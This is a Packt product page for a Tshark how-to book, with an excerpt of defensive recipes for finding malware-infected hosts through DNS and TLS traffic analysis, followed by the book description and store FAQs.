  1. In the next example, we are looking for DNS output requests made from any hosts whose IP is different from the Internal DNS server (192.168.1.100). Captured packets are stored in a pcap file on a remote server (note the argument -w - to write raw packet data to the standard output). Thanks to this, we could find out that the host 192.168.1.42 requested the domain name www.malwaredomain.net (not a real domain) without using its local DNS:

    bmerino@Mordor:~$ tshark -i eth0 -f "udp dst port 53 and not src host 192.168.1.100" -w - | ssh bm@192.168.1.131 "cat > SuspiciousDNS.pcap"
    Capturing on eth0
    2 
    bmerino@Mordor:~$ ssh 
    bm@192.168.1.131
     "tshark -r SuspiciousDNS.pcap" 
      1 0.000000000 192.168.1.42 -> 8.8.8.8      DNS 81 Standard query 0x1b58  A 
    www.malwaredomain.net
    
  2. Searching for nonexistent domains in DNS responses can also help us to locate infected hosts. In this case it is likely that the control server has been shut down and some hosts are trying to connect to them from time to time. Let's see an example. First, we use a capture filter to save all DNS responses received for a couple of hours.

    bmerino@Mordor:~$ tshark -i eth0 -f "udp src port 53" -a duration:7200 -P -w /tmp/dns.pcap
    

    This would generate the following output:

    Capturing on eth0  
    80.58.61.250 -> 192.168.1.131 DNS 157 Standard query response 0xd983 No such name
    <... rest of output omitted …>
    
  3. Then we will take the pcap file to show only the responses with a reply code of 3 which indicates that the domain does not exist. As we can see in the following example, the IP 192.168.1.131 tried to resolve the domain www.botcontrold omain.net (not a real domain) 16 times and 192.168.1.42 tried to resolved www.maliciousdomain.org (not a real domain) 11 times:

    bmerino@Mordor:~$ tshark -r /tmp/dns.pcap -T fields -e  
    dns.qry.name
     -e ip.dst -R "dns.flags.rcode==3" | sort |uniq -c
    

    This would generate the following output:

         16 www.botcontroldomain.net  192.168.1.131
         11 www.maliciousdomain.org   192.168.1.42
    

How it works...

In this recipe we have used another option of Tshark, -P. This parameter allow us to decode and display packets even while we are writing raw packet data using the –w option, useful if we want to store packets and watch them at the same time. We have also used the –T pdml option to set the output format. Packet Details Markup Language (PDML) is an XML-based format equivalent to the packet details printed with the –V flag. Tshark has another option to specify the format in which to write the file by using the –F option; in this case, however, you can't specify it for a live capture:

bmerino@Mordor:~$ tshark -r malware.pcap -F pcapng –w malwareA.pcap

To list the available file formats use the -F flag without a value:

bmerino@Mordor:~$ tshark -F

This would generate the following output:

tshark: The available capture file types for the "-F" flag are:
    5views - InfoVista 5View capture
    btsnoop - Symbian OS btsnoop
<rest of output omitted>

There's more...

Consider the examples seen in the Implementing useful filters (Should know) recipe to compare all domains accessed by users with a blacklist and to use a DNS PASSIVE service to get more information about suspicious IPs. In addition to these filters, there are many aspects we have to consider when looking for malware traffic. Thus, if the malware uses TLS to communicate with the C&C to evade firewalls and IDS, we can still see details such as: invalid certificates, TLS handshake failures, strange domain names, and so on (be aware that the initial part of an SSL session is not encrypted). We can even take into account information such as the size or timing of packets when we are monitoring encrypted packets (for example, very short-lived sessions of a single request followed by a reply could indicate malware activity). Also make sure that the traffic traveling through port 443 is TLS/SSL as many malware use this port to send HTTP traffic or a custom encrypted protocol (as in Aurora Operation). Take a look at the paper Detection of Web Based Command & Control Channels of Martin Warmer to see many of these patterns. (http://eprints.eemcs.utwente.nl/20941/01/MSc_M_Warmer.pdf). In the following example we can see how the certificate sent by certain host presents a suspicious CN:

bmerino@Mordor:~$ tshark -r 443.pcap -R "ssl.handshake.certificates" -T pdml  > certificates
bmerino@Mordor:~$ cat certificates | grep -i commonname -m 1 
<field name="ssl.handshake.certificate" showname="Certificate (id-at-commonName=
ERdifadjklwkrsaf.EdkjaldfkWEfd.WEdf.net
,id- 

Tshark can serve as a complement to our debugger to analyze the traffic generated by malware. The figure that follows is a code excerpt from a certain Trojan. In it we can see the assignment of certain static data to a buffer. This buffer is then sent as a POST request to a malicious domain through the API HttpSendRequest. To confirm the sending of such data, we run the sample in a Cuckoo VM several times while we leave Tshark listening.

After checking the sending of such data through the POST requests, we can use them to create a signature for SNORT and block this way any future connection from any other hosts of our network. This rule, along with the malicious domains used by the Trojan, will help us to detect not only that Trojan itself but a possible variant thereof in a preventive way. Check out the signature created based on the positions of the static data in the POST request:

Automating tasks (Must know)


One of the main advantages of Tshark against Wireshark is the flexibility to play with the inputs and outputs from the command line. Thanks to this, we can write small scripts to automate different kind of tasks.

Getting ready

Throughout this book, we have seen many examples using various parameters of Tshark. In practice, you may not remember many of these options due to the vast amount of existing parameters. Apart from using Help from the command line (-h), remember that you can take advantage of the Linux shell to permanently save many Tshark instructions, saving you a lot of time.

How to do it...

  1. If you periodically check the status of some network protocols you could create an alias for it and save it in .bashrc. Thus the alias will be stored permanently in your profile:

    bmerino@Mordor:~$ echo "alias tpassive='tshark -i wlan1 -R \"stp||arp||bootp||vrrp\"'" >> $HOME/.bashrc
    bmerino@Mordor:~$ . .bashrc 
    bmerino@Mordor:~$ tpassive
    

    This would generate the following output:

    Capturing on wlan1
      1.208225 64:68:0c:ea:41:ad -> 01:80:c2:00:00:00 STP 60 RST. Root = 36864/128/5c:33:8e:72:b1:48  Cost = 4000000  Port = 0x5005
      1.822549 78:92:9c:89:b9:de -> ff:ff:ff:ff:ff:ff ARP 42 Who has 192.168.1.99?  Tell 192.168.1.35
    
  2. The same applies in the following example. If we tend to check incoming connections to our machine, including certain types of scans from tools such as Nmap, we can create the following alias. This way we will not have to write long chains of parameters each time.

How it works...

In this recipe we have used an interesting new parameter, -s (snaplen). With this option we will tell Tshark the amount of bytes we want to capture for each packet (instead of saving the entire content). This process, also known as PacketSlicing, will allow us to save CPU time and generate much smaller capture files. In our case, since we needed only to know the TCP flags of each packet to identify the type of scan, we specified a snaplen of 58. Remember that the Ethernet header takes 14 bytes and the IPv4 and TCP header 20 bytes each; so 58 bytes will be enough for us to reach the flags field. This is not the only way to improve the performance of Tshark. Disabling name resolution (the –n option), not putting the interface in promiscuous mode (the –p option), or incrementing the buffer size used by the capture driver (the –B option), can help us enormously when we need to capture very high amounts of packets.

There's more...

Let's consider now the following scenario. During the last week we found illegitimate access to the web server. After investigating the possible cause of the intrusion, we conclude that the attacker had captured the session cookie of the Admin user to get access to the server. In addition, an incorrect session management allowed him to use that cookie permanently. To locate the attacker, we used a small Python script to notify us by mail when someone tried to use that cookie. Also, to get more information about his host, we would launch NMAP against his IP. Take a look at how we played with the Tshark output to feed both functions: send_mail and scan_Nmap.

Left arrow icon Right arrow icon

Key benefits

  • Learn something new in an Instant! A short, fast, focused guide delivering immediate results.
  • Terminal-based version of Wireshark for dealing with network security incidents
  • Useful filters to quickly identify and limit network problems derived from malware and a variety of network attacks
  • Decoding capabilities to investigate suspicious traffic and detect network anomalies

Description

Malware, DoS attacks, SQLi, and data exfiltration are some of the problems that many security officers have to face every day. Having advanced knowledge in communications and protocol analysis is therefore essential to investigate and detect any of these attacks. Tshark is the ideal tool for professionals who wish to meet these needs, or students who want to delve into the world of networking.Instant Traffic Analysis with Tshark How-to is a practical, hands-on guide for network administrators and security officers who want to take advantage of the filtering features provided by Tshark, the command-line version of Wireshark. With this guide you will learn how to get the most out of Tshark from environments lacking GUI, ideal for example in Unix/Linux servers, offering you much flexibility to identify and display network traffic.The book begins by explaining the basic theoretical concepts of Tshark and the process of data collection. Subsequently, you will see several alternatives to capture traffic based on network infrastructure and the goals of the network administrator. The rest of the book will focus on explaining the most interesting parameters of the tool from a totally practical standpoint.You will also learn how to decode protocols and how to get evidence of suspicious network traffic. You will become familiar with the many practical filters of Tshark that identify malware-infected computers and lots of network attacks such as DoS attacks, DHCP/ARP spoof, and DNS flooding. Finally, you will see some tricks to automate certain tasks with Tshark and python scripts.You will learn everything you need to get the most out of Tshark and overcome a wide range of network problems. In addition you will learn a variety of concepts related to networking and network attacks currently exploited.

What you will learn

Basic use of the tool and theoretical concepts of operation and dependence with other tools Find the root of many problems related to the performance of your network Decode SSL to inspect network attacks that attempt to evade IDS Identify well-known networks attacks and get evidence of suspicious network traffic Limit security incidents to locate network intrusions Audit applications that make use of sockets Automate tasks with the help of scripts Use Tshark in a clever way to detect traffic anomalies

Product Details

Country selected

Publication date : Apr 25, 2013
Length 68 pages
Edition : 1st Edition
Language : English
ISBN-13 : 9781782165385

What do you get with eBook?

Product feature icon Instant access to your Digital eBook purchase
Product feature icon Download this book in EPUB and PDF formats
Product feature icon Access this title in our online reader with advanced features
Product feature icon DRM FREE - Read whenever, wherever and however you want
Buy Now

Product Details


Publication date : Apr 25, 2013
Length 68 pages
Edition : 1st Edition
Language : English
ISBN-13 : 9781782165385

Table of Contents

7 Chapters
Instant Traffic Analysis with Tshark How-to Chevron down icon Chevron up icon
Credits Chevron down icon Chevron up icon
About the Author Chevron down icon Chevron up icon
About the Reviewer Chevron down icon Chevron up icon
www.PacktPub.com Chevron down icon Chevron up icon
Preface Chevron down icon Chevron up icon
1. Instant Traffic Analysis with Tshark How-to Chevron down icon Chevron up icon

Customer reviews

Top Reviews
Rating distribution
Empty star icon Empty star icon Empty star icon Empty star icon Empty star icon 0
(0 Ratings)
5 star 0%
4 star 0%
3 star 0%
2 star 0%
1 star 0%
Filter icon Filter
Top Reviews

Filter reviews by


No reviews found
Get free access to Packt library with over 7500+ books and video courses for 7 days!
Start Free Trial

FAQs

How do I buy and download an eBook? Chevron down icon Chevron up icon

Where there is an eBook version of a title available, you can buy it from the book details for that title. Add either the standalone eBook or the eBook and print book bundle to your shopping cart. Your eBook will show in your cart as a product on its own. After completing checkout and payment in the normal way, you will receive your receipt on the screen containing a link to a personalised PDF download file. This link will remain active for 30 days. You can download backup copies of the file by logging in to your account at any time.

If you already have Adobe reader installed, then clicking on the link will download and open the PDF file directly. If you don't, then save the PDF file on your machine and download the Reader to view it.

Please Note: Packt eBooks are non-returnable and non-refundable.

Packt eBook and Licensing When you buy an eBook from Packt Publishing, completing your purchase means you accept the terms of our licence agreement. Please read the full text of the agreement. In it we have tried to balance the need for the ebook to be usable for you the reader with our needs to protect the rights of us as Publishers and of our authors. In summary, the agreement says:

  • You may make copies of your eBook for your own use onto any machine
  • You may not pass copies of the eBook on to anyone else
How can I make a purchase on your website? Chevron down icon Chevron up icon

If you want to purchase a video course, eBook or Bundle (Print+eBook) please follow below steps:

  1. Register on our website using your email address and the password.
  2. Search for the title by name or ISBN using the search option.
  3. Select the title you want to purchase.
  4. Choose the format you wish to purchase the title in; if you order the Print Book, you get a free eBook copy of the same title. 
  5. Proceed with the checkout process (payment to be made using Credit Card, Debit Cart, or PayPal)
Where can I access support around an eBook? Chevron down icon Chevron up icon
  • If you experience a problem with using or installing Adobe Reader, the contact Adobe directly.
  • To view the errata for the book, see www.packtpub.com/support and view the pages for the title you have.
  • To view your account details or to download a new copy of the book go to www.packtpub.com/account
  • To contact us directly if a problem is not resolved, use www.packtpub.com/contact-us
What eBook formats do Packt support? Chevron down icon Chevron up icon

Our eBooks are currently available in a variety of formats such as PDF and ePubs. In the future, this may well change with trends and development in technology, but please note that our PDFs are not Adobe eBook Reader format, which has greater restrictions on security.

You will need to use Adobe Reader v9 or later in order to read Packt's PDF eBooks.

What are the benefits of eBooks? Chevron down icon Chevron up icon
  • You can get the information you need immediately
  • You can easily take them with you on a laptop
  • You can download them an unlimited number of times
  • You can print them out
  • They are copy-paste enabled
  • They are searchable
  • There is no password protection
  • They are lower price than print
  • They save resources and space
What is an eBook? Chevron down icon Chevron up icon

Packt eBooks are a complete electronic version of the print edition, available in PDF and ePub formats. Every piece of content down to the page numbering is the same. Because we save the costs of printing and shipping the book to you, we are able to offer eBooks at a lower cost than print editions.

When you have purchased an eBook, simply login to your account and click on the link in Your Download Area. We recommend you saving the file to your hard drive before opening it.

For optimal viewing of our eBooks, we recommend you download and install the free Adobe Reader version 9.